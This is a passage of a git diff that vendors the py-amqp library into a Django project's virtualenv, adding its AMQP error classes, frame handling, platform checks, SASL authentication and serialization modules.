ResourceLocked(RecoverableChannelError): + """AMQP Resource Locked Error.""" + + code = 405 + + +class PreconditionFailed(IrrecoverableChannelError): + """AMQP Precondition Failed Error.""" + + code = 406 + + +class FrameError(IrrecoverableConnectionError): + """AMQP Frame Error.""" + + code = 501 + + +class FrameSyntaxError(IrrecoverableConnectionError): + """AMQP Frame Syntax Error.""" + + code = 502 + + +class InvalidCommand(IrrecoverableConnectionError): + """AMQP Invalid Command Error.""" + + code = 503 + + +class ChannelNotOpen(IrrecoverableConnectionError): + """AMQP Channel Not Open Error.""" + + code = 504 + + +class UnexpectedFrame(IrrecoverableConnectionError): + """AMQP Unexpected Frame.""" + + code = 505 + + +class ResourceError(RecoverableConnectionError): + """AMQP Resource Error.""" + + code = 506 + + +class NotAllowed(IrrecoverableConnectionError): + """AMQP Not Allowed Error.""" + + code = 530 + + +class AMQPNotImplementedError(IrrecoverableConnectionError): + """AMQP Not Implemented Error.""" + + code = 540 + + +class InternalError(IrrecoverableConnectionError): + """AMQP Internal Error.""" + + code = 541 + + +ERROR_MAP = { + 311: ContentTooLarge, + 313: NoConsumers, + 320: ConnectionForced, + 402: InvalidPath, + 403: AccessRefused, + 404: NotFound, + 405: ResourceLocked, + 406: PreconditionFailed, + 501: FrameError, + 502: FrameSyntaxError, + 503: InvalidCommand, + 504: ChannelNotOpen, + 505: UnexpectedFrame, + 506: ResourceError, + 530: NotAllowed, + 540: AMQPNotImplementedError, + 541: InternalError, +} + + +def error_for_code(code, text, method, default): + try: + return ERROR_MAP[code](text, method, reply_code=code) + except KeyError: + return default(text, method, reply_code=code) + + +METHOD_NAME_MAP = { + (10, 10): 'Connection.start', + (10, 11): 'Connection.start_ok', + (10, 20): 'Connection.secure', + (10, 21): 'Connection.secure_ok', + (10, 30): 'Connection.tune', + (10, 31): 'Connection.tune_ok', + (10, 40): 'Connection.open', + (10, 41): 'Connection.open_ok', + (10, 50): 'Connection.close', + (10, 51): 'Connection.close_ok', + (20, 10): 'Channel.open', + (20, 11): 'Channel.open_ok', + (20, 20): 'Channel.flow', + (20, 21): 'Channel.flow_ok', + (20, 40): 'Channel.close', + (20, 41): 'Channel.close_ok', + (30, 10): 'Access.request', + (30, 11): 'Access.request_ok', + (40, 10): 'Exchange.declare', + (40, 11): 'Exchange.declare_ok', + (40, 20): 'Exchange.delete', + (40, 21): 'Exchange.delete_ok', + (40, 30): 'Exchange.bind', + (40, 31): 'Exchange.bind_ok', + (40, 40): 'Exchange.unbind', + (40, 41): 'Exchange.unbind_ok', + (50, 10): 'Queue.declare', + (50, 11): 'Queue.declare_ok', + (50, 20): 'Queue.bind', + (50, 21): 'Queue.bind_ok', + (50, 30): 'Queue.purge', + (50, 31): 'Queue.purge_ok', + (50, 40): 'Queue.delete', + (50, 41): 'Queue.delete_ok', + (50, 50): 'Queue.unbind', + (50, 51): 'Queue.unbind_ok', + (60, 10): 'Basic.qos', + (60, 11): 'Basic.qos_ok', + (60, 20): 'Basic.consume', + (60, 21): 'Basic.consume_ok', + (60, 30): 'Basic.cancel', + (60, 31): 'Basic.cancel_ok', + (60, 40): 'Basic.publish', + (60, 50): 'Basic.return', + (60, 60): 'Basic.deliver', + (60, 70): 'Basic.get', + (60, 71): 'Basic.get_ok', + (60, 72): 'Basic.get_empty', + (60, 80): 'Basic.ack', + (60, 90): 'Basic.reject', + (60, 100): 'Basic.recover_async', + (60, 110): 'Basic.recover', + (60, 111): 'Basic.recover_ok', + (60, 120): 'Basic.nack', + (90, 10): 'Tx.select', + (90, 11): 'Tx.select_ok', + (90, 20): 'Tx.commit', + (90, 21): 'Tx.commit_ok', + (90, 30): 'Tx.rollback', + (90, 31): 'Tx.rollback_ok', + (85, 10): 'Confirm.select', + (85, 11): 'Confirm.select_ok', +} + + +for _method_id, _method_name in list(METHOD_NAME_MAP.items()): + METHOD_NAME_MAP[unpack('>I', pack('>HH', *_method_id))[0]] = \ + _method_name diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/method_framing.py b/django_lottopy/lib/python3.10/site-packages/amqp/method_framing.py new file mode 100644 index 00000000..6c49833f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/method_framing.py @@ -0,0 +1,189 @@ +"""Convert between frames and higher-level AMQP methods.""" +# Copyright (C) 2007-2008 Barry Pederson + +from collections import defaultdict +from struct import pack, pack_into, unpack_from + +from . import spec +from .basic_message import Message +from .exceptions import UnexpectedFrame +from .utils import str_to_bytes + +__all__ = ('frame_handler', 'frame_writer') + +#: Set of methods that require both a content frame and a body frame. +_CONTENT_METHODS = frozenset([ + spec.Basic.Return, + spec.Basic.Deliver, + spec.Basic.GetOk, +]) + + +#: Number of bytes reserved for protocol in a content frame. +#: We use this to calculate when a frame exceeeds the max frame size, +#: and if it does not the message will fit into the preallocated buffer. +FRAME_OVERHEAD = 40 + + +def frame_handler(connection, callback, + unpack_from=unpack_from, content_methods=_CONTENT_METHODS): + """Create closure that reads frames.""" + expected_types = defaultdict(lambda: 1) + partial_messages = {} + + def on_frame(frame): + frame_type, channel, buf = frame + connection.bytes_recv += 1 + if frame_type not in (expected_types[channel], 8): + raise UnexpectedFrame( + 'Received frame {} while expecting type: {}'.format( + frame_type, expected_types[channel]), + ) + elif frame_type == 1: + method_sig = unpack_from('>HH', buf, 0) + + if method_sig in content_methods: + # Save what we've got so far and wait for the content-header + partial_messages[channel] = Message( + frame_method=method_sig, frame_args=buf, + ) + expected_types[channel] = 2 + return False + + callback(channel, method_sig, buf, None) + + elif frame_type == 2: + msg = partial_messages[channel] + msg.inbound_header(buf) + + if not msg.ready: + # wait for the content-body + expected_types[channel] = 3 + return False + + # bodyless message, we're done + expected_types[channel] = 1 + partial_messages.pop(channel, None) + callback(channel, msg.frame_method, msg.frame_args, msg) + + elif frame_type == 3: + msg = partial_messages[channel] + msg.inbound_body(buf) + if not msg.ready: + # wait for the rest of the content-body + return False + expected_types[channel] = 1 + partial_messages.pop(channel, None) + callback(channel, msg.frame_method, msg.frame_args, msg) + elif frame_type == 8: + # bytes_recv already updated + return False + return True + + return on_frame + + +class Buffer: + def __init__(self, buf): + self.buf = buf + + @property + def buf(self): + return self._buf + + @buf.setter + def buf(self, buf): + self._buf = buf + # Using a memoryview allows slicing without copying underlying data. + # Slicing this is much faster than slicing the bytearray directly. + # More details: https://stackoverflow.com/a/34257357 + self.view = memoryview(buf) + + +def frame_writer(connection, transport, + pack=pack, pack_into=pack_into, range=range, len=len, + bytes=bytes, str_to_bytes=str_to_bytes, text_t=str): + """Create closure that writes frames.""" + write = transport.write + + buffer_store = Buffer(bytearray(connection.frame_max - 8)) + + def write_frame(type_, channel, method_sig, args, content): + chunk_size = connection.frame_max - 8 + offset = 0 + properties = None + args = str_to_bytes(args) + if content: + body = content.body + if isinstance(body, str): + encoding = content.properties.setdefault( + 'content_encoding', 'utf-8') + body = body.encode(encoding) + properties = content._serialize_properties() + bodylen = len(body) + properties_len = len(properties) or 0 + framelen = len(args) + properties_len + bodylen + FRAME_OVERHEAD + bigbody = framelen > chunk_size + else: + body, bodylen, bigbody = None, 0, 0 + + if bigbody: + # ## SLOW: string copy and write for every frame + frame = (b''.join([pack('>HH', *method_sig), args]) + if type_ == 1 else b'') # encode method frame + framelen = len(frame) + write(pack('>BHI%dsB' % framelen, + type_, channel, framelen, frame, 0xce)) + if body: + frame = b''.join([ + pack('>HHQ', method_sig[0], 0, len(body)), + properties, + ]) + framelen = len(frame) + write(pack('>BHI%dsB' % framelen, + 2, channel, framelen, frame, 0xce)) + + for i in range(0, bodylen, chunk_size): + frame = body[i:i + chunk_size] + framelen = len(frame) + write(pack('>BHI%dsB' % framelen, + 3, channel, framelen, + frame, 0xce)) + + else: + # frame_max can be updated via connection._on_tune. If + # it became larger, then we need to resize the buffer + # to prevent overflow. + if chunk_size > len(buffer_store.buf): + buffer_store.buf = bytearray(chunk_size) + buf = buffer_store.buf + + # ## FAST: pack into buffer and single write + frame = (b''.join([pack('>HH', *method_sig), args]) + if type_ == 1 else b'') + framelen = len(frame) + pack_into('>BHI%dsB' % framelen, buf, offset, + type_, channel, framelen, frame, 0xce) + offset += 8 + framelen + if body is not None: + frame = b''.join([ + pack('>HHQ', method_sig[0], 0, len(body)), + properties, + ]) + framelen = len(frame) + + pack_into('>BHI%dsB' % framelen, buf, offset, + 2, channel, framelen, frame, 0xce) + offset += 8 + framelen + + bodylen = len(body) + if bodylen > 0: + framelen = bodylen + pack_into('>BHI%dsB' % framelen, buf, offset, + 3, channel, framelen, body, 0xce) + offset += 8 + framelen + + write(buffer_store.view[:offset]) + + connection.bytes_sent += 1 + return write_frame diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/platform.py b/django_lottopy/lib/python3.10/site-packages/amqp/platform.py new file mode 100644 index 00000000..6f6c6f3d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/platform.py @@ -0,0 +1,79 @@ +"""Platform compatibility.""" + +import platform +import re +import sys +# Jython does not have this attribute +import typing + +try: + from socket import SOL_TCP +except ImportError: # pragma: no cover + from socket import IPPROTO_TCP as SOL_TCP # noqa + + +RE_NUM = re.compile(r'(\d+).+') + + +def _linux_version_to_tuple(s: str) -> typing.Tuple[int, int, int]: + return tuple(map(_versionatom, s.split('.')[:3])) + + +def _versionatom(s: str) -> int: + if s.isdigit(): + return int(s) + match = RE_NUM.match(s) + return int(match.groups()[0]) if match else 0 + + +# available socket options for TCP level +KNOWN_TCP_OPTS = { + 'TCP_CORK', 'TCP_DEFER_ACCEPT', 'TCP_KEEPCNT', + 'TCP_KEEPIDLE', 'TCP_KEEPINTVL', 'TCP_LINGER2', + 'TCP_MAXSEG', 'TCP_NODELAY', 'TCP_QUICKACK', + 'TCP_SYNCNT', 'TCP_USER_TIMEOUT', 'TCP_WINDOW_CLAMP', +} + +LINUX_VERSION = None +if sys.platform.startswith('linux'): + LINUX_VERSION = _linux_version_to_tuple(platform.release()) + if LINUX_VERSION < (2, 6, 37): + KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') + + # Windows Subsystem for Linux is an edge-case: the Python socket library + # returns most TCP_* enums, but they aren't actually supported + if platform.release().endswith("Microsoft"): + KNOWN_TCP_OPTS = {'TCP_NODELAY', 'TCP_KEEPIDLE', 'TCP_KEEPINTVL', + 'TCP_KEEPCNT'} + +elif sys.platform.startswith('darwin'): + KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') + +elif 'bsd' in sys.platform: + KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') + +# According to MSDN Windows platforms support getsockopt(TCP_MAXSSEG) but not +# setsockopt(TCP_MAXSEG) on IPPROTO_TCP sockets. +elif sys.platform.startswith('win'): + KNOWN_TCP_OPTS = {'TCP_NODELAY'} + +elif sys.platform.startswith('cygwin'): + KNOWN_TCP_OPTS = {'TCP_NODELAY'} + + # illumos does not allow to set the TCP_MAXSEG socket option, + # even if the Oracle documentation says otherwise. + # TCP_USER_TIMEOUT does not exist on Solaris 11.4 +elif sys.platform.startswith('sunos'): + KNOWN_TCP_OPTS.remove('TCP_MAXSEG') + KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') + +# aix does not allow to set the TCP_MAXSEG +# or the TCP_USER_TIMEOUT socket options. +elif sys.platform.startswith('aix'): + KNOWN_TCP_OPTS.remove('TCP_MAXSEG') + KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') +__all__ = ( + 'LINUX_VERSION', + 'SOL_TCP', + 'KNOWN_TCP_OPTS', +) diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/protocol.py b/django_lottopy/lib/python3.10/site-packages/amqp/protocol.py new file mode 100644 index 00000000..b58d5c96 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/protocol.py @@ -0,0 +1,12 @@ +"""Protocol data.""" + +from collections import namedtuple + +queue_declare_ok_t = namedtuple( + 'queue_declare_ok_t', ('queue', 'message_count', 'consumer_count'), +) + +basic_return_t = namedtuple( + 'basic_return_t', + ('reply_code', 'reply_text', 'exchange', 'routing_key', 'message'), +) diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/sasl.py b/django_lottopy/lib/python3.10/site-packages/amqp/sasl.py new file mode 100644 index 00000000..407ccb8e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/sasl.py @@ -0,0 +1,191 @@ +"""SASL mechanisms for AMQP authentication.""" + +import socket +import warnings +from io import BytesIO + +from amqp.serialization import _write_table + + +class SASL: + """The base class for all amqp SASL authentication mechanisms. + + You should sub-class this if you're implementing your own authentication. + """ + + @property + def mechanism(self): + """Return a bytes containing the SASL mechanism name.""" + raise NotImplementedError + + def start(self, connection): + """Return the first response to a SASL challenge as a bytes object.""" + raise NotImplementedError + + +class PLAIN(SASL): + """PLAIN SASL authentication mechanism. + + See https://tools.ietf.org/html/rfc4616 for details + """ + + mechanism = b'PLAIN' + + def __init__(self, username, password): + self.username, self.password = username, password + + __slots__ = ( + "username", + "password", + ) + + def start(self, connection): + if self.username is None or self.password is None: + return NotImplemented + login_response = BytesIO() + login_response.write(b'\0') + login_response.write(self.username.encode('utf-8')) + login_response.write(b'\0') + login_response.write(self.password.encode('utf-8')) + return login_response.getvalue() + + +class AMQPLAIN(SASL): + """AMQPLAIN SASL authentication mechanism. + + This is a non-standard mechanism used by AMQP servers. + """ + + mechanism = b'AMQPLAIN' + + def __init__(self, username, password): + self.username, self.password = username, password + + __slots__ = ( + "username", + "password", + ) + + def start(self, connection): + if self.username is None or self.password is None: + return NotImplemented + login_response = BytesIO() + _write_table({b'LOGIN': self.username, b'PASSWORD': self.password}, + login_response.write, []) + # Skip the length at the beginning + return login_response.getvalue()[4:] + + +def _get_gssapi_mechanism(): + try: + import gssapi + import gssapi.raw.misc # Fail if the old python-gssapi is installed + except ImportError: + class FakeGSSAPI(SASL): + """A no-op SASL mechanism for when gssapi isn't available.""" + + mechanism = None + + def __init__(self, client_name=None, service=b'amqp', + rdns=False, fail_soft=False): + if not fail_soft: + raise NotImplementedError( + "You need to install the `gssapi` module for GSSAPI " + "SASL support") + + def start(self): # pragma: no cover + return NotImplemented + return FakeGSSAPI + else: + class GSSAPI(SASL): + """GSSAPI SASL authentication mechanism. + + See https://tools.ietf.org/html/rfc4752 for details + """ + + mechanism = b'GSSAPI' + + def __init__(self, client_name=None, service=b'amqp', + rdns=False, fail_soft=False): + if client_name and not isinstance(client_name, bytes): + client_name = client_name.encode('ascii') + self.client_name = client_name + self.fail_soft = fail_soft + self.service = service + self.rdns = rdns + + __slots__ = ( + "client_name", + "fail_soft", + "service", + "rdns" + ) + + def get_hostname(self, connection): + sock = connection.transport.sock + if self.rdns and sock.family in (socket.AF_INET, + socket.AF_INET6): + peer = sock.getpeername() + hostname, _, _ = socket.gethostbyaddr(peer[0]) + else: + hostname = connection.transport.host + if not isinstance(hostname, bytes): + hostname = hostname.encode('ascii') + return hostname + + def start(self, connection): + try: + if self.client_name: + creds = gssapi.Credentials( + name=gssapi.Name(self.client_name)) + else: + creds = None + hostname = self.get_hostname(connection) + name = gssapi.Name(b'@'.join([self.service, hostname]), + gssapi.NameType.hostbased_service) + context = gssapi.SecurityContext(name=name, creds=creds) + return context.step(None) + except gssapi.raw.misc.GSSError: + if self.fail_soft: + return NotImplemented + else: + raise + return GSSAPI + + +GSSAPI = _get_gssapi_mechanism() + + +class EXTERNAL(SASL): + """EXTERNAL SASL mechanism. + + Enables external authentication, i.e. not handled through this protocol. + Only passes 'EXTERNAL' as authentication mechanism, but no further + authentication data. + """ + + mechanism = b'EXTERNAL' + + def start(self, connection): + return b'' + + +class RAW(SASL): + """A generic custom SASL mechanism. + + This mechanism takes a mechanism name and response to send to the server, + so can be used for simple custom authentication schemes. + """ + + mechanism = None + + def __init__(self, mechanism, response): + assert isinstance(mechanism, bytes) + assert isinstance(response, bytes) + self.mechanism, self.response = mechanism, response + warnings.warn("Passing login_method and login_response to Connection " + "is deprecated. Please implement a SASL subclass " + "instead.", DeprecationWarning) + + def start(self, connection): + return self.response diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/serialization.py b/django_lottopy/lib/python3.10/site-packages/amqp/serialization.py new file mode 100644 index 00000000..1f2f8e2d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/serialization.py @@ -0,0 +1,582 @@ +"""Convert between bytestreams and higher-level AMQP types. + +2007-11-05 Barry Pederson + +""" +# Copyright (C) 2007 Barry Pederson + +import calendar +from datetime import datetime +from decimal import Decimal +from io import BytesIO +from struct import pack, unpack_from + +from .exceptions import FrameSyntaxError +from .spec import Basic +from .utils import bytes_to_str as pstr_t +from .utils import str_to_bytes + +ILLEGAL_TABLE_TYPE = """\ + Table type {0!r} not handled by amqp. +""" + +ILLEGAL_TABLE_TYPE_WITH_KEY = """\ +Table type {0!r} for key {1!r} not handled by amqp. [value: {2!r}] +""" + +ILLEGAL_TABLE_TYPE_WITH_VALUE = """\ + Table type {0!r} not handled by amqp. [value: {1!r}] +""" + + +def _read_item(buf, offset): + ftype = chr(buf[offset]) + offset += 1 + + # 'S': long string + if ftype == 'S': + slen, = unpack_from('>I', buf, offset) + offset += 4 + try: + val = pstr_t(buf[offset:offset + slen]) + except UnicodeDecodeError: + val = buf[offset:offset + slen] + + offset += slen + # 's': short string + elif ftype == 's': + slen, = unpack_from('>B', buf, offset) + offset += 1 + val = pstr_t(buf[offset:offset + slen]) + offset += slen + # 'x': Bytes Array + elif ftype == 'x': + blen, = unpack_from('>I', buf, offset) + offset += 4 + val = buf[offset:offset + blen] + offset += blen + # 'b': short-short int + elif ftype == 'b': + val, = unpack_from('>B', buf, offset) + offset += 1 + # 'B': short-short unsigned int + elif ftype == 'B': + val, = unpack_from('>b', buf, offset) + offset += 1 + # 'U': short int + elif ftype == 'U': + val, = unpack_from('>h', buf, offset) + offset += 2 + # 'u': short unsigned int + elif ftype == 'u': + val, = unpack_from('>H', buf, offset) + offset += 2 + # 'I': long int + elif ftype == 'I': + val, = unpack_from('>i', buf, offset) + offset += 4 + # 'i': long unsigned int + elif ftype == 'i': + val, = unpack_from('>I', buf, offset) + offset += 4 + # 'L': long long int + elif ftype == 'L': + val, = unpack_from('>q', buf, offset) + offset += 8 + # 'l': long long unsigned int + elif ftype == 'l': + val, = unpack_from('>Q', buf, offset) + offset += 8 + # 'f': float + elif ftype == 'f': + val, = unpack_from('>f', buf, offset) + offset += 4 + # 'd': double + elif ftype == 'd': + val, = unpack_from('>d', buf, offset) + offset += 8 + # 'D': decimal + elif ftype == 'D': + d, = unpack_from('>B', buf, offset) + offset += 1 + n, = unpack_from('>i', buf, offset) + offset += 4 + val = Decimal(n) / Decimal(10 ** d) + # 'F': table + elif ftype == 'F': + tlen, = unpack_from('>I', buf, offset) + offset += 4 + limit = offset + tlen + val = {} + while offset < limit: + keylen, = unpack_from('>B', buf, offset) + offset += 1 + key = pstr_t(buf[offset:offset + keylen]) + offset += keylen + val[key], offset = _read_item(buf, offset) + # 'A': array + elif ftype == 'A': + alen, = unpack_from('>I', buf, offset) + offset += 4 + limit = offset + alen + val = [] + while offset < limit: + v, offset = _read_item(buf, offset) + val.append(v) + # 't' (bool) + elif ftype == 't': + val, = unpack_from('>B', buf, offset) + val = bool(val) + offset += 1 + # 'T': timestamp + elif ftype == 'T': + val, = unpack_from('>Q', buf, offset) + offset += 8 + val = datetime.utcfromtimestamp(val) + # 'V': void + elif ftype == 'V': + val = None + else: + raise FrameSyntaxError( + 'Unknown value in table: {!r} ({!r})'.format( + ftype, type(ftype))) + return val, offset + + +def loads(format, buf, offset): + """Deserialize amqp format. + + bit = b + octet = o + short = B + long = l + long long = L + float = f + shortstr = s + longstr = S + table = F + array = A + timestamp = T + """ + bitcount = bits = 0 + + values = [] + append = values.append + format = pstr_t(format) + + for p in format: + if p == 'b': + if not bitcount: + bits = ord(buf[offset:offset + 1]) + offset += 1 + bitcount = 8 + val = (bits & 1) == 1 + bits >>= 1 + bitcount -= 1 + elif p == 'o': + bitcount = bits = 0 + val, = unpack_from('>B', buf, offset) + offset += 1 + elif p == 'B': + bitcount = bits = 0 + val, = unpack_from('>H', buf, offset) + offset += 2 + elif p == 'l': + bitcount = bits = 0 + val, = unpack_from('>I', buf, offset) + offset += 4 + elif p == 'L': + bitcount = bits = 0 + val, = unpack_from('>Q', buf, offset) + offset += 8 + elif p == 'f': + bitcount = bits = 0 + val, = unpack_from('>f', buf, offset) + offset += 4 + elif p == 's': + bitcount = bits = 0 + slen, = unpack_from('B', buf, offset) + offset += 1 + val = buf[offset:offset + slen].decode('utf-8', 'surrogatepass') + offset += slen + elif p == 'S': + bitcount = bits = 0 + slen, = unpack_from('>I', buf, offset) + offset += 4 + val = buf[offset:offset + slen].decode('utf-8', 'surrogatepass') + offset += slen + elif p == 'x': + blen, = unpack_from('>I', buf, offset) + offset += 4 + val = buf[offset:offset + blen] + offset += blen + elif p == 'F': + bitcount = bits = 0 + tlen, = unpack_from('>I', buf, offset) + offset += 4 + limit = offset + tlen + val = {} + while offset < limit: + keylen, = unpack_from('>B', buf, offset) + offset += 1 + key = pstr_t(buf[offset:offset + keylen]) + offset += keylen + val[key], offset = _read_item(buf, offset) + elif p == 'A': + bitcount = bits = 0 + alen, = unpack_from('>I', buf, offset) + offset += 4 + limit = offset + alen + val = [] + while offset < limit: + aval, offset = _read_item(buf, offset) + val.append(aval) + elif p == 'T': + bitcount = bits = 0 + val, = unpack_from('>Q', buf, offset) + offset += 8 + val = datetime.utcfromtimestamp(val) + else: + raise FrameSyntaxError(ILLEGAL_TABLE_TYPE.format(p)) + append(val) + return values, offset + + +def _flushbits(bits, write): + if bits: + write(pack('B' * len(bits), *bits)) + bits[:] = [] + return 0 + + +def dumps(format, values): + """Serialize AMQP arguments. + + Notes: + bit = b + octet = o + short = B + long = l + long long = L + shortstr = s + longstr = S + byte array = x + table = F + array = A + """ + bitcount = 0 + bits = [] + out = BytesIO() + write = out.write + + format = pstr_t(format) + + for i, val in enumerate(values): + p = format[i] + if p == 'b': + val = 1 if val else 0 + shift = bitcount % 8 + if shift == 0: + bits.append(0) + bits[-1] |= (val << shift) + bitcount += 1 + elif p == 'o': + bitcount = _flushbits(bits, write) + write(pack('B', val)) + elif p == 'B': + bitcount = _flushbits(bits, write) + write(pack('>H', int(val))) + elif p == 'l': + bitcount = _flushbits(bits, write) + write(pack('>I', val)) + elif p == 'L': + bitcount = _flushbits(bits, write) + write(pack('>Q', val)) + elif p == 'f': + bitcount = _flushbits(bits, write) + write(pack('>f', val)) + elif p == 's': + val = val or '' + bitcount = _flushbits(bits, write) + if isinstance(val, str): + val = val.encode('utf-8', 'surrogatepass') + write(pack('B', len(val))) + write(val) + elif p == 'S' or p == 'x': + val = val or '' + bitcount = _flushbits(bits, write) + if isinstance(val, str): + val = val.encode('utf-8', 'surrogatepass') + write(pack('>I', len(val))) + write(val) + elif p == 'F': + bitcount = _flushbits(bits, write) + _write_table(val or {}, write, bits) + elif p == 'A': + bitcount = _flushbits(bits, write) + _write_array(val or [], write, bits) + elif p == 'T': + write(pack('>Q', int(calendar.timegm(val.utctimetuple())))) + _flushbits(bits, write) + + return out.getvalue() + + +def _write_table(d, write, bits): + out = BytesIO() + twrite = out.write + for k, v in d.items(): + if isinstance(k, str): + k = k.encode('utf-8', 'surrogatepass') + twrite(pack('B', len(k))) + twrite(k) + try: + _write_item(v, twrite, bits) + except ValueError: + raise FrameSyntaxError( + ILLEGAL_TABLE_TYPE_WITH_KEY.format(type(v), k, v)) + table_data = out.getvalue() + write(pack('>I', len(table_data))) + write(table_data) + + +def _write_array(list_, write, bits): + out = BytesIO() + awrite = out.write + for v in list_: + try: + _write_item(v, awrite, bits) + except ValueError: + raise FrameSyntaxError( + ILLEGAL_TABLE_TYPE_WITH_VALUE.format(type(v), v)) + array_data = out.getvalue() + write(pack('>I', len(array_data))) + write(array_data) + + +def _write_item(v, write, bits): + if isinstance(v, (str, bytes)): + if isinstance(v, str): + v = v.encode('utf-8', 'surrogatepass') + write(pack('>cI', b'S', len(v))) + write(v) + elif isinstance(v, bool): + write(pack('>cB', b't', int(v))) + elif isinstance(v, float): + write(pack('>cd', b'd', v)) + elif isinstance(v, int): + if v > 2147483647 or v < -2147483647: + write(pack('>cq', b'L', v)) + else: + write(pack('>ci', b'I', v)) + elif isinstance(v, Decimal): + sign, digits, exponent = v.as_tuple() + v = 0 + for d in digits: + v = (v * 10) + d + if sign: + v = -v + write(pack('>cBi', b'D', -exponent, v)) + elif isinstance(v, datetime): + write( + pack('>cQ', b'T', int(calendar.timegm(v.utctimetuple())))) + elif isinstance(v, dict): + write(b'F') + _write_table(v, write, bits) + elif isinstance(v, (list, tuple)): + write(b'A') + _write_array(v, write, bits) + elif v is None: + write(b'V') + else: + raise ValueError() + + +def decode_properties_basic(buf, offset): + """Decode basic properties.""" + properties = {} + + flags, = unpack_from('>H', buf, offset) + offset += 2 + + if flags & 0x8000: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['content_type'] = pstr_t(buf[offset:offset + slen]) + offset += slen + if flags & 0x4000: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['content_encoding'] = pstr_t(buf[offset:offset + slen]) + offset += slen + if flags & 0x2000: + _f, offset = loads('F', buf, offset) + properties['application_headers'], = _f + if flags & 0x1000: + properties['delivery_mode'], = unpack_from('>B', buf, offset) + offset += 1 + if flags & 0x0800: + properties['priority'], = unpack_from('>B', buf, offset) + offset += 1 + if flags & 0x0400: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['correlation_id'] = pstr_t(buf[offset:offset + slen]) + offset += slen + if flags & 0x0200: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['reply_to'] = pstr_t(buf[offset:offset + slen]) + offset += slen + if flags & 0x0100: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['expiration'] = pstr_t(buf[offset:offset + slen]) + offset += slen + if flags & 0x0080: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['message_id'] = pstr_t(buf[offset:offset + slen]) + offset += slen + if flags & 0x0040: + properties['timestamp'], = unpack_from('>Q', buf, offset) + offset += 8 + if flags & 0x0020: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['type'] = pstr_t(buf[offset:offset + slen]) + offset += slen + if flags & 0x0010: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['user_id'] = pstr_t(buf[offset:offset + slen]) + offset += slen + if flags & 0x0008: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['app_id'] = pstr_t(buf[offset:offset + slen]) + offset += slen + if flags & 0x0004: + slen, = unpack_from('>B', buf, offset) + offset += 1 + properties['cluster_id'] = pstr_t(buf[offset:offset + slen]) + offset += slen + return properties, offset + + +PROPERTY_CLASSES = { + Basic.CLASS_ID: decode_properties_basic, +} + + +class GenericContent: + """Abstract base class for AMQP content. + + Subclasses should override the PROPERTIES attribute. + """ + + CLASS_ID = None + PROPERTIES = [('dummy', 's')] + + def __init__(self, frame_method=None, frame_args=None, **props): + self.frame_method = frame_method + self.frame_args = frame_args + + self.properties = props + self._pending_chunks = [] + self.body_received = 0 + self.body_size = 0 + self.ready = False + + __slots__ = ( + "frame_method", + "frame_args", + "properties", + "_pending_chunks", + "body_received", + "body_size", + "ready", + # adding '__dict__' to get dynamic assignment + "__dict__", + "__weakref__", + ) + + def __getattr__(self, name): + # Look for additional properties in the 'properties' + # dictionary, and if present - the 'delivery_info' dictionary. + if name == '__setstate__': + # Allows pickling/unpickling to work + raise AttributeError('__setstate__') + + if name in self.properties: + return self.properties[name] + raise AttributeError(name) + + def _load_properties(self, class_id, buf, offset): + """Load AMQP properties. + + Given the raw bytes containing the property-flags and property-list + from a content-frame-header, parse and insert into a dictionary + stored in this object as an attribute named 'properties'. + """ + # Read 16-bit shorts until we get one with a low bit set to zero + props, offset = PROPERTY_CLASSES[class_id](buf, offset) + self.properties = props + return offset + + def _serialize_properties(self): + """Serialize AMQP properties. + + Serialize the 'properties' attribute (a dictionary) into + the raw bytes making up a set of property flags and a + property list, suitable for putting into a content frame header. + """ + shift = 15 + flag_bits = 0 + flags = [] + sformat, svalues = [], [] + props = self.properties + for key, proptype in self.PROPERTIES: + val = props.get(key, None) + if val is not None: + if shift == 0: + flags.append(flag_bits) + flag_bits = 0 + shift = 15 + + flag_bits |= (1 << shift) + if proptype != 'bit': + sformat.append(str_to_bytes(proptype)) + svalues.append(val) + + shift -= 1 + flags.append(flag_bits) + result = BytesIO() + write = result.write + for flag_bits in flags: + write(pack('>H', flag_bits)) + write(dumps(b''.join(sformat), svalues)) + + return result.getvalue() + + def inbound_header(self, buf, offset=0): + class_id, self.body_size = unpack_from('>HxxQ', buf, offset) + offset += 12 + self._load_properties(class_id, buf, offset) + if not self.body_size: + self.ready = True + return offset + + def inbound_body(self, buf): + chunks = self._pending_chunks + self.body_received += len(buf) + if self.body_received >= self.body_size: + if chunks: + chunks.append(buf) + self.body = bytes().join(chunks) + chunks[:] = [] + else: + self.body = buf + self.ready = True + else: + chunks.append(buf) diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/spec.py b/django_lottopy/lib/python3.10/site-packages/amqp/spec.py new file mode 100644 index 00000000..2a1169e1 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/spec.py @@ -0,0 +1,121 @@ +"""AMQP Spec.""" + +from collections import namedtuple + +method_t = namedtuple('method_t', ('method_sig', 'args', 'content')) + + +def method(method_sig, args=None, content=False): + """Create amqp method specification tuple.""" + return method_t(method_sig, args, content) + + +class Connection: + """AMQ Connection class.""" + + CLASS_ID = 10 + + Start = (10, 10) + StartOk = (10, 11) + Secure = (10, 20) + SecureOk = (10, 21) + Tune = (10, 30) + TuneOk = (10, 31) 